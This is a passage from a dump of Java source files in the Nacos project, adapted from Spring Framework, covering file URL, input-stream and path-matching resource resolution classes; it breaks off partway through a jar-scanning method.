    "content": "/*\n * Copyright 2002-2020 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.resource;\n\nimport com.alibaba.nacos.common.packagescan.util.ResourceUtils;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.net.MalformedURLException;\nimport java.net.URL;\nimport java.nio.channels.FileChannel;\nimport java.nio.channels.WritableByteChannel;\nimport java.nio.file.Files;\nimport java.nio.file.StandardOpenOption;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * Subclass of {@link UrlResource} which assumes file resolution, to the degree\n * of implementing the {@link WritableResource} interface for it. This resource\n * variant also caches resolved {@link File} handles from {@link #getFile()}.\n *\n * <p>This is the class resolved by {@link DefaultResourceLoader} for a \"file:...\"\n * URL location, allowing a downcast to {@link WritableResource} for it.\n *\n * <p>Alternatively, for direct construction from a {@link File} handle\n * or NIO {@link java.nio.file.Path}, consider using {@link FileSystemResource}.\n *\n * @author Juergen Hoeller\n * @since 5.0.2\n */\npublic class FileUrlResource extends UrlResource implements WritableResource {\n\n    private volatile File file;\n\n    /**\n     * Create a new {@code FileUrlResource} based on the given URL object.\n     *\n     * <p>Note that this does not enforce \"file\" as URL protocol. If a protocol\n     * is known to be resolvable to a file, it is acceptable for this purpose.\n     *\n     * @param url a URL\n     * @see ResourceUtils#isFileUrl(URL)\n     * @see #getFile()\n     */\n    public FileUrlResource(URL url) {\n        super(url);\n    }\n\n    /**\n     * Create a new {@code FileUrlResource} based on the given file location,\n     * using the URL protocol \"file\".\n     *\n     * <p>The given parts will automatically get encoded if necessary.\n     *\n     * @param location the location (i.e. the file path within that protocol)\n     * @throws MalformedURLException if the given URL specification is not valid\n     * @see UrlResource#UrlResource(String, String)\n     * @see ResourceUtils#URL_PROTOCOL_FILE\n     */\n    public FileUrlResource(String location) throws MalformedURLException {\n        super(ResourceUtils.URL_PROTOCOL_FILE, location);\n    }\n\n    @Override\n    public File getFile() throws IOException {\n        File file = this.file;\n        if (file != null) {\n            return file;\n        }\n        file = super.getFile();\n        this.file = file;\n        return file;\n    }\n\n    @Override\n    public boolean isWritable() {\n        try {\n            File file = getFile();\n            return (file.canWrite() && !file.isDirectory());\n        } catch (IOException ex) {\n            return false;\n        }\n    }\n\n    @Override\n    public OutputStream getOutputStream() throws IOException {\n        return Files.newOutputStream(getFile().toPath());\n    }\n\n    @Override\n    public WritableByteChannel writableChannel() throws IOException {\n        return FileChannel.open(getFile().toPath(), StandardOpenOption.WRITE);\n    }\n\n    @Override\n    public Resource createRelative(String relativePath) throws MalformedURLException {\n        return new FileUrlResource(createRelativeUrl(relativePath));\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/resource/InputStreamResource.java",
    "content": "/*\n * Copyright 2002-2018 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.resource;\n\nimport com.alibaba.nacos.common.packagescan.util.AbstractAssert;\n\nimport java.io.IOException;\nimport java.io.InputStream;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * {@link Resource} implementation for a given {@link InputStream}.\n *\n * <p>Should only be used if no other specific {@code Resource} implementation\n * is applicable. In particular, prefer {@link ByteArrayResource} or any of the\n * file-based {@code Resource} implementations where possible.\n *\n * <p>In contrast to other {@code Resource} implementations, this is a descriptor\n * for an <i>already opened</i> resource - therefore returning {@code true} from\n * {@link #isOpen()}. Do not use an {@code InputStreamResource} if you need to\n * keep the resource descriptor somewhere, or if you need to read from a stream\n * multiple times.\n *\n * @author Juergen Hoeller\n * @author Sam Brannen\n * @see ByteArrayResource\n * @see ClassPathResource\n * @see FileSystemResource\n * @see UrlResource\n * @since 28.12.2003\n */\npublic class InputStreamResource extends AbstractResource {\n\n    private final InputStream inputStream;\n\n    private final String description;\n\n    private boolean read = false;\n\n    /**\n     * Create a new InputStreamResource.\n     *\n     * @param inputStream the InputStream to use\n     */\n    public InputStreamResource(InputStream inputStream) {\n        this(inputStream, \"resource loaded through InputStream\");\n    }\n\n    /**\n     * Create a new InputStreamResource.\n     *\n     * @param inputStream the InputStream to use\n     * @param description where the InputStream comes from\n     */\n    public InputStreamResource(InputStream inputStream, String description) {\n        AbstractAssert.notNull(inputStream, \"InputStream must not be null\");\n        this.inputStream = inputStream;\n        this.description = (description != null ? description : \"\");\n    }\n\n\n    /**\n     * This implementation always returns {@code true}.\n     */\n    @Override\n    public boolean exists() {\n        return true;\n    }\n\n    /**\n     * This implementation always returns {@code true}.\n     */\n    @Override\n    public boolean isOpen() {\n        return true;\n    }\n\n    /**\n     * This implementation throws IllegalStateException if attempting to\n     * read the underlying stream multiple times.\n     */\n    @Override\n    public InputStream getInputStream() throws IOException, IllegalStateException {\n        if (this.read) {\n            throw new IllegalStateException(\"InputStream has already been read - \"\n                    + \"do not use InputStreamResource if a stream needs to be read multiple times\");\n        }\n        this.read = true;\n        return this.inputStream;\n    }\n\n    /**\n     * This implementation returns a description that includes the passed-in\n     * description, if any.\n     */\n    @Override\n    public String getDescription() {\n        return \"InputStream resource [\" + this.description + \"]\";\n    }\n\n\n    /**\n     * This implementation compares the underlying InputStream.\n     */\n    @Override\n    public boolean equals(Object other) {\n        return (this == other || (other instanceof InputStreamResource\n                && ((InputStreamResource) other).inputStream.equals(this.inputStream)));\n    }\n\n    /**\n     * This implementation returns the hash code of the underlying InputStream.\n     */\n    @Override\n    public int hashCode() {\n        return this.inputStream.hashCode();\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/resource/InputStreamSource.java",
    "content": "/*\n * Copyright 2002-2021 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.resource;\n\nimport java.io.IOException;\nimport java.io.InputStream;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * Simple interface for objects that are sources for an {@link InputStream}.\n *\n * <p>This is the base interface for Spring's more extensive {@link Resource} interface.\n *\n * <p>For single-use streams, {@link InputStreamResource} can be used for any\n * given {@code InputStream}. Spring's {@link ByteArrayResource} or any\n * file-based {@code Resource} implementation can be used as a concrete\n * instance, allowing one to read the underlying content stream multiple times.\n * This makes this interface useful as an abstract content source for mail\n * attachments, for example.\n *\n * @author Juergen Hoeller\n * @see InputStream\n * @see Resource\n * @see InputStreamResource\n * @see ByteArrayResource\n * @since 20.01.2004\n */\npublic interface InputStreamSource {\n\n    /**\n     * Return an {@link InputStream} for the content of an underlying resource.\n     *\n     * <p>It is expected that each call creates a <i>fresh</i> stream.\n     *\n     * <p>This requirement is particularly important when you consider an API such\n     * as JavaMail, which needs to be able to read the stream multiple times when\n     * creating mail attachments. For such a use case, it is <i>required</i>\n     * that each {@code getInputStream()} call returns a fresh stream.\n     *\n     * @return the input stream for the underlying resource (must not be {@code null})\n     * @throws java.io.FileNotFoundException if the underlying resource does not exist\n     * @throws IOException                   if the content stream could not be opened\n     * @see Resource#isReadable()\n     */\n    InputStream getInputStream() throws IOException;\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/resource/PathMatchingResourcePatternResolver.java",
    "content": "/*\n * Copyright 2002-2020 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.resource;\n\nimport com.alibaba.nacos.common.packagescan.util.PathMatcher;\nimport com.alibaba.nacos.common.packagescan.util.ResourceUtils;\nimport com.alibaba.nacos.common.packagescan.util.AbstractAssert;\nimport com.alibaba.nacos.common.utils.ClassUtils;\nimport com.alibaba.nacos.common.utils.ReflectUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Method;\nimport java.net.JarURLConnection;\nimport java.net.MalformedURLException;\nimport java.net.URISyntaxException;\nimport java.net.URL;\nimport java.net.URLClassLoader;\nimport java.net.URLConnection;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.Comparator;\nimport java.util.Enumeration;\nimport java.util.LinkedHashSet;\nimport java.util.Set;\nimport java.util.jar.JarEntry;\nimport java.util.jar.JarFile;\nimport java.util.zip.ZipException;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * A {@link ResourcePatternResolver} implementation that is able to resolve a\n * specified resource location path into one or more matching Resources.\n * The source path may be a simple path which has a one-to-one mapping to a\n * target {@link Resource}, or alternatively\n * may contain the special \"{@code classpath*:}\" prefix and/or\n * internal Ant-style regular expressions (matched using Spring's\n * {@link AntPathMatcher} utility).\n * Both of the latter are effectively wildcards.\n *\n * <p><b>No Wildcards:</b>\n *\n * <p>In the simple case, if the specified location path does not start with the\n * {@code \"classpath*:}\" prefix, and does not contain a PathMatcher pattern,\n * this resolver will simply return a single resource via a\n * {@code getResource()} call on the underlying {@code ResourceLoader}.\n * Examples are real URLs such as \"{@code file:C:/context.xml}\", pseudo-URLs\n * such as \"{@code classpath:/context.xml}\", and simple unprefixed paths\n * such as \"{@code /WEB-INF/context.xml}\". The latter will resolve in a\n * fashion specific to the underlying {@code ResourceLoader} (e.g.\n * {@code ServletContextResource} for a {@code WebApplicationContext}).\n *\n * <p><b>Ant-style Patterns:</b>\n *\n * <p>When the path location contains an Ant-style pattern, e.g.:\n * <pre class=\"code\">\n * /WEB-INF/*-context.xml\n * com/mycompany/**&#47;applicationContext.xml\n * file:C:/some/path/*-context.xml\n * classpath:com/mycompany/**&#47;applicationContext.xml</pre>\n * the resolver follows a more complex but defined procedure to try to resolve\n * the wildcard. It produces a {@code Resource} for the path up to the last\n * non-wildcard segment and obtains a {@code URL} from it. If this URL is\n * not a \"{@code jar:}\" URL or container-specific variant (e.g.\n * \"{@code zip:}\" in WebLogic, \"{@code wsjar}\" in WebSphere\", etc.),\n * then a {@code java.io.File} is obtained from it, and used to resolve the\n * wildcard by walking the filesystem. In the case of a jar URL, the resolver\n * either gets a {@code java.net.JarURLConnection} from it, or manually parses\n * the jar URL, and then traverses the contents of the jar file, to resolve the\n * wildcards.\n *\n * <p><b>Implications on portability:</b>\n *\n * <p>If the specified path is already a file URL (either explicitly, or\n * implicitly because the base {@code ResourceLoader} is a filesystem one,\n * then wildcarding is guaranteed to work in a completely portable fashion.\n *\n * <p>If the specified path is a classpath location, then the resolver must\n * obtain the last non-wildcard path segment URL via a\n * {@code Classloader.getResource()} call. Since this is just a\n * node of the path (not the file at the end) it is actually undefined\n * (in the ClassLoader Javadocs) exactly what sort of a URL is returned in\n * this case. In practice, it is usually a {@code java.io.File} representing\n * the directory, where the classpath resource resolves to a filesystem\n * location, or a jar URL of some sort, where the classpath resource resolves\n * to a jar location. Still, there is a portability concern on this operation.\n *\n * <p>If a jar URL is obtained for the last non-wildcard segment, the resolver\n * must be able to get a {@code java.net.JarURLConnection} from it, or\n * manually parse the jar URL, to be able to walk the contents of the jar,\n * and resolve the wildcard. This will work in most environments, but will\n * fail in others, and it is strongly recommended that the wildcard\n * resolution of resources coming from jars be thoroughly tested in your\n * specific environment before you rely on it.\n *\n * <p><b>{@code classpath*:} Prefix:</b>\n *\n * <p>There is special support for retrieving multiple class path resources with\n * the same name, via the \"{@code classpath*:}\" prefix. For example,\n * \"{@code classpath*:META-INF/beans.xml}\" will find all \"beans.xml\"\n * files in the class path, be it in \"classes\" directories or in JAR files.\n * This is particularly useful for autodetecting config files of the same name\n * at the same location within each jar file. Internally, this happens via a\n * {@code ClassLoader.getResources()} call, and is completely portable.\n *\n * <p>The \"classpath*:\" prefix can also be combined with a PathMatcher pattern in\n * the rest of the location path, for example \"classpath*:META-INF/*-beans.xml\".\n * In this case, the resolution strategy is fairly simple: a\n * {@code ClassLoader.getResources()} call is used on the last non-wildcard\n * path segment to get all the matching resources in the class loader hierarchy,\n * and then off each resource the same PathMatcher resolution strategy described\n * above is used for the wildcard subpath.\n *\n * <p><b>Other notes:</b>\n *\n * <p><b>WARNING:</b> Note that \"{@code classpath*:}\" when combined with\n * Ant-style patterns will only work reliably with at least one root directory\n * before the pattern starts, unless the actual target files reside in the file\n * system. This means that a pattern like \"{@code classpath*:*.xml}\" will\n * <i>not</i> retrieve files from the root of jar files but rather only from the\n * root of expanded directories. This originates from a limitation in the JDK's\n * {@code ClassLoader.getResources()} method which only returns file system\n * locations for a passed-in empty String (indicating potential roots to search).\n * This {@code ResourcePatternResolver} implementation is trying to mitigate the\n * jar root lookup limitation through {@link URLClassLoader} introspection and\n * \"java.class.path\" manifest evaluation; however, without portability guarantees.\n *\n * <p><b>WARNING:</b> Ant-style patterns with \"classpath:\" resources are not\n * guaranteed to find matching resources if the root package to search is available\n * in multiple class path locations. This is because a resource such as\n * <pre class=\"code\">\n *     com/mycompany/package1/service-context.xml\n * </pre>\n * may be in only one location, but when a path such as\n * <pre class=\"code\">\n *     classpath:com/mycompany/**&#47;service-context.xml\n * </pre>\n * is used to try to resolve it, the resolver will work off the (first) URL\n * returned by {@code getResource(\"com/mycompany\");}. If this base package node\n * exists in multiple classloader locations, the actual end resource may not be\n * underneath. Therefore, preferably, use \"{@code classpath*:}\" with the same\n * Ant-style pattern in such a case, which will search <i>all</i> class path\n * locations that contain the root package.\n *\n * @author Juergen Hoeller\n * @author Colin Sampaleanu\n * @author Marius Bogoevici\n * @author Costin Leau\n * @author Phillip Webb\n * @see #CLASSPATH_ALL_URL_PREFIX\n * @see AntPathMatcher\n * @see ResourceLoader#getResource(String)\n * @see ClassLoader#getResources(String)\n * @since 1.0.2\n */\npublic class PathMatchingResourcePatternResolver implements ResourcePatternResolver {\n\n    private static final Logger LOGGER = LoggerFactory.getLogger(PathMatchingResourcePatternResolver.class);\n\n    private static Method equinoxResolveMethod;\n\n    static {\n        try {\n            // Detect Equinox OSGi (e.g. on WebSphere 6.1)\n            Class<?> fileLocatorClass = ClassUtils.forName(\"org.eclipse.core.runtime.FileLocator\",\n                    PathMatchingResourcePatternResolver.class.getClassLoader());\n            equinoxResolveMethod = fileLocatorClass.getMethod(\"resolve\", URL.class);\n            LOGGER.trace(\"Found Equinox FileLocator for OSGi bundle URL resolution\");\n        } catch (Throwable ex) {\n            equinoxResolveMethod = null;\n        }\n    }\n\n    private final ResourceLoader resourceLoader;\n\n    private PathMatcher pathMatcher = new AntPathMatcher();\n\n    /**\n     * Create a new PathMatchingResourcePatternResolver with a DefaultResourceLoader.\n     *\n     * <p>ClassLoader access will happen via the thread context class loader.\n     *\n     * @see DefaultResourceLoader\n     */\n    public PathMatchingResourcePatternResolver() {\n        this.resourceLoader = new DefaultResourceLoader();\n    }\n\n    /**\n     * Create a new PathMatchingResourcePatternResolver.\n     *\n     * <p>ClassLoader access will happen via the thread context class loader.\n     *\n     * @param resourceLoader the ResourceLoader to load root directories and\n     *                       actual resources with\n     */\n    public PathMatchingResourcePatternResolver(ResourceLoader resourceLoader) {\n        AbstractAssert.notNull(resourceLoader, \"ResourceLoader must not be null\");\n        this.resourceLoader = resourceLoader;\n    }\n\n    /**\n     * Create a new PathMatchingResourcePatternResolver with a DefaultResourceLoader.\n     *\n     * @param classLoader the ClassLoader to load classpath resources with,\n     *                    or {@code null} for using the thread context class loader\n     *                    at the time of actual resource access\n     * @see DefaultResourceLoader\n     */\n    public PathMatchingResourcePatternResolver(ClassLoader classLoader) {\n        this.resourceLoader = new DefaultResourceLoader(classLoader);\n    }\n\n    /**\n     * Return the ResourceLoader that this pattern resolver works with.\n     */\n    public ResourceLoader getResourceLoader() {\n        return this.resourceLoader;\n    }\n\n    @Override\n\n    public ClassLoader getClassLoader() {\n        return getResourceLoader().getClassLoader();\n    }\n\n    /**\n     * Set the PathMatcher implementation to use for this\n     * resource pattern resolver. Default is AntPathMatcher.\n     *\n     * @see AntPathMatcher\n     */\n    public void setPathMatcher(PathMatcher pathMatcher) {\n        AbstractAssert.notNull(pathMatcher, \"PathMatcher must not be null\");\n        this.pathMatcher = pathMatcher;\n    }\n\n    /**\n     * Return the PathMatcher that this resource pattern resolver uses.\n     */\n    public PathMatcher getPathMatcher() {\n        return this.pathMatcher;\n    }\n\n    @Override\n    public Resource getResource(String location) {\n        return getResourceLoader().getResource(location);\n    }\n\n    @Override\n    public Resource[] getResources(String locationPattern) throws IOException {\n        AbstractAssert.notNull(locationPattern, \"Location pattern must not be null\");\n        if (locationPattern.startsWith(CLASSPATH_ALL_URL_PREFIX)) {\n            // a class path resource (multiple resources for same name possible)\n            if (getPathMatcher().isPattern(locationPattern.substring(CLASSPATH_ALL_URL_PREFIX.length()))) {\n                // a class path resource pattern\n                return findPathMatchingResources(locationPattern);\n            } else {\n                // all class path resources with the given name\n                return findAllClassPathResources(locationPattern.substring(CLASSPATH_ALL_URL_PREFIX.length()));\n            }\n        } else {\n            // Generally only look for a pattern after a prefix here,\n            // and on Tomcat only after the \"*/\" separator for its \"war:\" protocol.\n            int prefixEnd = (locationPattern.startsWith(\"war:\") ? locationPattern.indexOf(\"*/\") + 1 :\n                    locationPattern.indexOf(':') + 1);\n            if (getPathMatcher().isPattern(locationPattern.substring(prefixEnd))) {\n                // a file pattern\n                return findPathMatchingResources(locationPattern);\n            } else {\n                // a single resource with the given name\n                return new Resource[]{getResourceLoader().getResource(locationPattern)};\n            }\n        }\n    }\n\n    /**\n     * Find all class location resources with the given location via the ClassLoader.\n     * Delegates to {@link #doFindAllClassPathResources(String)}.\n     *\n     * @param location the absolute path within the classpath\n     * @return the result as Resource array\n     * @throws IOException in case of I/O errors\n     * @see ClassLoader#getResources\n     * @see #convertClassLoaderUrl\n     */\n    protected Resource[] findAllClassPathResources(String location) throws IOException {\n        String path = location;\n        if (path.startsWith(\"/\")) {\n            path = path.substring(1);\n        }\n        Set<Resource> result = doFindAllClassPathResources(path);\n        if (LOGGER.isTraceEnabled()) {\n            LOGGER.trace(\"Resolved classpath location [\" + location + \"] to resources \" + result);\n        }\n        return result.toArray(new Resource[0]);\n    }\n\n    /**\n     * Find all class location resources with the given path via the ClassLoader.\n     * Called by {@link #findAllClassPathResources(String)}.\n     *\n     * @param path the absolute path within the classpath (never a leading slash)\n     * @return a mutable Set of matching Resource instances\n     * @since 4.1.1\n     */\n    protected Set<Resource> doFindAllClassPathResources(String path) throws IOException {\n        Set<Resource> result = new LinkedHashSet<>(16);\n        ClassLoader cl = getClassLoader();\n        Enumeration<URL> resourceUrls = (cl != null ? cl.getResources(path) : ClassLoader.getSystemResources(path));\n        while (resourceUrls.hasMoreElements()) {\n            URL url = resourceUrls.nextElement();\n            result.add(convertClassLoaderUrl(url));\n        }\n        if (!StringUtils.hasLength(path)) {\n            // The above result is likely to be incomplete, i.e. only containing file system references.\n            // We need to have pointers to each of the jar files on the classpath as well...\n            addAllClassLoaderJarRoots(cl, result);\n        }\n        return result;\n    }\n\n    /**\n     * Convert the given URL as returned from the ClassLoader into a {@link Resource}.\n     *\n     * <p>The default implementation simply creates a {@link UrlResource} instance.\n     *\n     * @param url a URL as returned from the ClassLoader\n     * @return the corresponding Resource object\n     * @see ClassLoader#getResources\n     * @see Resource\n     */\n    protected Resource convertClassLoaderUrl(URL url) {\n        return new UrlResource(url);\n    }\n\n    /**\n     * Search all {@link URLClassLoader} URLs for jar file references and add them to the\n     * given set of resources in the form of pointers to the root of the jar file content.\n     *\n     * @param classLoader the ClassLoader to search (including its ancestors)\n     * @param result      the set of resources to add jar roots to\n     * @since 4.1.1\n     */\n    protected void addAllClassLoaderJarRoots(ClassLoader classLoader, Set<Resource> result) {\n        if (classLoader instanceof URLClassLoader) {\n            try {\n                for (URL url : ((URLClassLoader) classLoader).getURLs()) {\n                    try {\n                        UrlResource jarResource = (ResourceUtils.URL_PROTOCOL_JAR.equals(url.getProtocol())\n                                ? new UrlResource(url) :\n                                new UrlResource(ResourceUtils.JAR_URL_PREFIX + url + ResourceUtils.JAR_URL_SEPARATOR));\n                        if (jarResource.exists()) {\n                            result.add(jarResource);\n                        }\n                    } catch (MalformedURLException ex) {\n                        if (LOGGER.isDebugEnabled()) {\n                            LOGGER.debug(\"Cannot search for matching files underneath [\" + url\n                                    + \"] because it cannot be converted to a valid 'jar:' URL: \" + ex.getMessage());\n                        }\n                    }\n                }\n            } catch (Exception ex) {\n                if (LOGGER.isDebugEnabled()) {\n                    LOGGER.debug(\"Cannot introspect jar files since ClassLoader [\" + classLoader\n                            + \"] does not support 'getURLs()': \" + ex);\n                }\n            }\n        }\n\n        if (classLoader == ClassLoader.getSystemClassLoader()) {\n            // \"java.class.path\" manifest evaluation...\n            addClassPathManifestEntries(result);\n        }\n\n        if (classLoader != null) {\n            try {\n                // Hierarchy traversal...\n                addAllClassLoaderJarRoots(classLoader.getParent(), result);\n            } catch (Exception ex) {\n                if (LOGGER.isDebugEnabled()) {\n                    LOGGER.debug(\"Cannot introspect jar files in parent ClassLoader since [\" + classLoader\n                            + \"] does not support 'getParent()': \" + ex);\n                }\n            }\n        }\n    }\n\n    /**\n     * Determine jar file references from the \"java.class.path.\" manifest property and add them\n     * to the given set of resources in the form of pointers to the root of the jar file content.\n     *\n     * @param result the set of resources to add jar roots to\n     * @since 4.3\n     */\n    protected void addClassPathManifestEntries(Set<Resource> result) {\n        try {\n            String javaClassPathProperty = System.getProperty(\"java.class.path\");\n            for (String path : StringUtils.delimitedListToStringArray(\n                    javaClassPathProperty, System.getProperty(\"path.separator\"))) {\n                try {\n                    String filePath = new File(path).getAbsolutePath();\n                    int prefixIndex = filePath.indexOf(':');\n                    if (prefixIndex == 1) {\n                        // Possibly \"c:\" drive prefix on Windows, to be upper-cased for proper duplicate detection\n                        filePath = StringUtils.capitalize(filePath);\n                    }\n                    // # can appear in directories/filenames, java.net.URL should not treat it as a fragment\n                    filePath = StringUtils.replace(filePath, \"#\", \"%23\");\n                    // Build URL that points to the root of the jar file\n                    UrlResource jarResource = new UrlResource(ResourceUtils.JAR_URL_PREFIX\n                            + ResourceUtils.FILE_URL_PREFIX + filePath + ResourceUtils.JAR_URL_SEPARATOR);\n                    // Potentially overlapping with URLClassLoader.getURLs() result above!\n                    if (!result.contains(jarResource) && !hasDuplicate(filePath, result) && jarResource.exists()) {\n                        result.add(jarResource);\n                    }\n                } catch (MalformedURLException ex) {\n                    if (LOGGER.isDebugEnabled()) {\n                        LOGGER.debug(\"Cannot search for matching files underneath [\" + path\n                                + \"] because it cannot be converted to a valid 'jar:' URL: \" + ex.getMessage());\n                    }\n                }\n            }\n        } catch (Exception ex) {\n            if (LOGGER.isDebugEnabled()) {\n                LOGGER.debug(\"Failed to evaluate 'java.class.path' manifest entries: \" + ex);\n            }\n        }\n    }\n\n    /**\n     * Check whether the given file path has a duplicate but differently structured entry\n     * in the existing result, i.e. with or without a leading slash.\n     *\n     * @param filePath the file path (with or without a leading slash)\n     * @param result   the current result\n     * @return {@code true} if there is a duplicate (i.e. to ignore the given file path),\n     * {@code false} to proceed with adding a corresponding resource to the current result\n     */\n    private boolean hasDuplicate(String filePath, Set<Resource> result) {\n        if (result.isEmpty()) {\n            return false;\n        }\n        String duplicatePath = (filePath.startsWith(\"/\") ? filePath.substring(1) : \"/\" + filePath);\n        try {\n            return result.contains(new UrlResource(ResourceUtils.JAR_URL_PREFIX + ResourceUtils.FILE_URL_PREFIX\n                    + duplicatePath + ResourceUtils.JAR_URL_SEPARATOR));\n        } catch (MalformedURLException ex) {\n            // Ignore: just for testing against duplicate.\n            return false;\n        }\n    }\n\n    /**\n     * Find all resources that match the given location pattern via the\n     * Ant-style PathMatcher. Supports resources in jar files and zip files\n     * and in the file system.\n     *\n     * @param locationPattern the location pattern to match\n     * @return the result as Resource array\n     * @throws IOException in case of I/O errors\n     * @see #doFindPathMatchingJarResources\n     * @see #doFindPathMatchingFileResources\n     * @see PathMatcher\n     */\n    protected Resource[] findPathMatchingResources(String locationPattern) throws IOException {\n        String rootDirPath = determineRootDir(locationPattern);\n        String subPattern = locationPattern.substring(rootDirPath.length());\n        Resource[] rootDirResources = getResources(rootDirPath);\n        Set<Resource> result = new LinkedHashSet<>(16);\n        for (Resource rootDirResource : rootDirResources) {\n            rootDirResource = resolveRootDirResource(rootDirResource);\n            URL rootDirUrl = rootDirResource.getUrl();\n            if (equinoxResolveMethod != null && rootDirUrl.getProtocol().startsWith(\"bundle\")) {\n                URL resolvedUrl = (URL) ReflectUtils.invokeMethod(equinoxResolveMethod, null, rootDirUrl);\n                if (resolvedUrl != null) {\n                    rootDirUrl = resolvedUrl;\n                }\n                rootDirResource = new UrlResource(rootDirUrl);\n            }\n            if (rootDirUrl.getProtocol().startsWith(ResourceUtils.URL_PROTOCOL_VFS)) {\n                result.addAll(VfsResourceMatchingDelegate.findMatchingResources(rootDirUrl, subPattern, getPathMatcher()));\n            } else if (ResourceUtils.isJarUrl(rootDirUrl) || isJarResource(rootDirResource)) {\n                result.addAll(doFindPathMatchingJarResources(rootDirResource, rootDirUrl, subPattern));\n            } else {\n                result.addAll(doFindPathMatchingFileResources(rootDirResource, subPattern));\n            }\n        }\n        if (LOGGER.isTraceEnabled()) {\n            LOGGER.trace(\"Resolved location pattern [\" + locationPattern + \"] to resources \" + result);\n        }\n        return result.toArray(new Resource[0]);\n    }\n\n    /**\n     * Determine the root directory for the given location.\n     *\n     * <p>Used for determining the starting point for file matching,\n     * resolving the root directory location to a {@code java.io.File}\n     * and passing it into {@code retrieveMatchingFiles}, with the\n     * remainder of the location as pattern.\n     *\n     * <p>Will return \"/WEB-INF/\" for the pattern \"/WEB-INF/*.xml\",\n     * for example.\n     *\n     * @param location the location to check\n     * @return the part of the location that denotes the root directory\n     * @see #retrieveMatchingFiles\n     */\n    protected String determineRootDir(String location) {\n        int prefixEnd = location.indexOf(':') + 1;\n        int rootDirEnd = location.length();\n        while (rootDirEnd > prefixEnd && getPathMatcher().isPattern(location.substring(prefixEnd, rootDirEnd))) {\n            rootDirEnd = location.lastIndexOf('/', rootDirEnd - 2) + 1;\n        }\n        if (rootDirEnd == 0) {\n            rootDirEnd = prefixEnd;\n        }\n        return location.substring(0, rootDirEnd);\n    }\n\n    /**\n     * Resolve the specified resource for path matching.\n     *\n     * <p>By default, Equinox OSGi \"bundleresource:\" / \"bundleentry:\" URL will be\n     * resolved into a standard jar file URL that be traversed using Spring's\n     * standard jar file traversal algorithm. For any preceding custom resolution,\n     * override this method and replace the resource handle accordingly.\n     *\n     * @param original the resource to resolve\n     * @return the resolved resource (may be identical to the passed-in resource)\n     * @throws IOException in case of resolution failure\n     */\n    protected Resource resolveRootDirResource(Resource original) throws IOException {\n        return original;\n    }\n\n    /**\n     * Return whether the given resource handle indicates a jar resource\n     * that the {@code doFindPathMatchingJarResources} method can handle.\n     *\n     * <p>By default, the URL protocols \"jar\", \"zip\", \"vfszip and \"wsjar\"\n     * will be treated as jar resources. This template method allows for\n     * detecting further kinds of jar-like resources, e.g. through\n     * {@code instanceof} checks on the resource handle type.\n     *\n     * @param resource the resource handle to check\n     *                 (usually the root directory to start path matching from)\n     * @see #doFindPathMatchingJarResources\n     * @see ResourceUtils#isJarUrl\n     */\n    protected boolean isJarResource(Resource resource) throws IOException {\n        return false;\n    }\n\n    /**\n     * Find all resources in jar files that match the given location pattern\n     * via the Ant-style PathMatcher.\n     *\n     * @param rootDirResource the root directory as Resource\n     * @param rootDirUrl      the pre-resolved root directory URL\n     * @param subPattern      the sub pattern to match (below the root directory)\n     * @return a mutable Set of matching Resource instances\n     * @throws IOException in case of I/O errors\n     * @see PathMatcher\n     * @since 4.3\n     */\n    protected Set<Resource> doFindPathMatchingJarResources(Resource rootDirResource, URL rootDirUrl, String subPattern)\n            throws IOException {\n\n        URLConnection con = rootDirUrl.openConnection();\n        JarFile jarFile;\n        String jarFileUrl;\n        String rootEntryPath;\n        boolean closeJarFile;\n\n        if (con instanceof JarURLConnection) {\n            // Should usually be the case for traditional JAR files.\n            JarURLConnection jarCon = (JarURLConnection) con;\n            ResourceUtils.useCachesIfNecessary(jarCon);\n            jarFile = jarCon.getJarFile();\n            jarFileUrl = jarCon.getJarFileURL().toExternalForm();\n            JarEntry 